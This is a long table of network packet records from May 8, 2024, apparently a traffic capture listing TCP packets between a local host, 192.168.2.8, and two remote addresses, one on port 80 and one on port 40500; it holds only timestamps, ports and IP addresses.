May 8, 2024 15:22:20.467499971 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467511892 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467519999 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467526913 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467546940 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467567921 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467633963 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467680931 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467804909 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467818022 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467837095 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467849970 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467856884 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467864037 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467866898 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467878103 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467890024 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467894077 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467909098 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467921972 CEST	80	49708	185.215.113.66	192.168.2.8
May 8, 2024 15:22:20.467921972 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467941999 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.467962027 CEST	49708	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:20.964433908 CEST	49709	40500	192.168.2.8	37.151.73.50
May 8, 2024 15:22:21.138098001 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.480763912 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.480850935 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.481426001 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.823926926 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.823957920 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824067116 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824081898 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824080944 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824137926 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824137926 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824238062 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824251890 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824265957 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824280977 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824291945 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824291945 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824327946 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824327946 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824366093 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824378967 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824436903 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:21.824474096 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:21.824474096 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.169785023 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.169892073 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.169954062 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.169953108 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.169969082 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.169994116 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170028925 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170066118 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170080900 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170131922 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170131922 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170605898 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170619965 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170633078 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170659065 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170695066 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170789003 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170803070 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170814991 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170828104 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170840979 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170855045 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170865059 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170865059 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170877934 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170891047 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170902967 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170934916 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170943975 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.170969009 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170983076 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.170989990 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.171062946 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.512552977 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512574911 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512587070 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512605906 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512676954 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512687922 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.512742996 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.512876034 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512913942 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.512921095 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.512955904 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513283968 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513298988 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513323069 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513334990 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513386965 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513420105 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513520002 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513535976 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513559103 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513572931 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513617992 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513631105 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513653040 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513658047 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513674021 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513698101 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513726950 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513746977 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513758898 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513761044 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513772964 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513781071 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513789892 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513793945 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513809919 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513822079 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513824940 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513859987 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513922930 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513936996 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.513956070 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513969898 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.513997078 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514035940 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514043093 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514075994 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514180899 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514215946 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514225960 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514240026 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514257908 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514270067 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514374018 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514388084 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514400959 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514408112 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514415979 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514422894 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514439106 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514452934 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514462948 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514497042 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514569998 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514584064 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514599085 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514607906 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514622927 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514636993 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514720917 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514734030 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514745951 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514756918 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514763117 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.514774084 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514787912 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.514802933 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.855673075 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855699062 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855714083 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855762005 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.855832100 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.855885983 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855902910 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855915070 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.855937004 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.855957985 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.856414080 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.856427908 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.856440067 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:22.856467962 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.856488943 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:22.965038061 CEST	49709	40500	192.168.2.8	37.151.73.50
May 8, 2024 15:22:26.980781078 CEST	49709	40500	192.168.2.8	37.151.73.50
May 8, 2024 15:22:29.232702017 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:29.575280905 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.659881115 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660027981 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660134077 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660188913 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660203934 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660233021 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660233021 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660259008 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660425901 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660485029 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660640955 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660691977 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660703897 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660706997 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.660728931 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.660763025 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.661111116 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.661156893 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.661576033 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.661668062 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:33.661694050 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:33.661744118 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:34.003422976 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:34.003463984 CEST	80	49710	185.215.113.66	192.168.2.8
May 8, 2024 15:22:34.003516912 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:34.003596067 CEST	49710	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:34.669456005 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:34.996299982 CEST	49709	40500	192.168.2.8	37.151.73.50
May 8, 2024 15:22:35.018372059 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.018501043 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.021296024 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386163950 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386194944 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386343956 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386348963 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386382103 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386398077 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386421919 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386456966 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386580944 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386626005 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386668921 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386683941 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386698008 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386710882 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386713028 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386729002 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.386732101 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386754036 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.386775970 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:35.795547962 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.795568943 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:35.795717001 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.432187080 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773061991 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773205042 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773298979 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773305893 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773320913 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773336887 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773375988 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773400068 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773432970 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773448944 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773482084 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773499012 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773643970 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773658991 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773690939 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773703098 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773744106 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773758888 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:43.773796082 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.773808002 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.774106979 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:43.774133921 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117383957 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117408991 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117445946 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117479086 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117602110 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117616892 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117645979 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117657900 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117734909 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117748976 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117763042 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117774010 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117789030 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117799044 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117880106 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117913008 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.117928028 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.117963076 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118025064 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118068933 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118133068 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118176937 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118196011 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118210077 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118221045 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118233919 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118257046 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118261099 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118263960 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118283033 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118319035 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118412971 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118458033 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118488073 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118527889 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118565083 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118608952 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118633986 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118645906 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.118674994 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.118696928 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.159177065 CEST	80	49712	185.215.113.66	192.168.2.8
May 8, 2024 15:22:44.159306049 CEST	49712	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:44.783046007 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.120556116 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.120712996 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.120923996 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.471661091 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471815109 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471865892 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471915960 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471930027 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471982956 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.471991062 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.471997023 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.472067118 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.472104073 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.472141981 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.472152948 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.472166061 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.472177982 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.472193003 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.472218990 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.809576035 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809597015 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809608936 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809643030 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.809679985 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.809736013 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809756994 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809782028 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.809798956 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.809911013 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.809951067 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810045004 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810081959 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810089111 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810129881 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810240030 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810254097 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810265064 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810283899 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810302973 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810394049 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810444117 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810475111 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810487986 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810549021 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810600042 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810612917 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810632944 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810632944 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810672998 CEST	80	49713	185.215.113.66	192.168.2.8
May 8, 2024 15:22:45.810682058 CEST	49713	80	192.168.2.8	185.215.113.66
May 8, 2024 15:22:45.810689926 CEST	80	49713	185.215.113.66	192.168.2.8
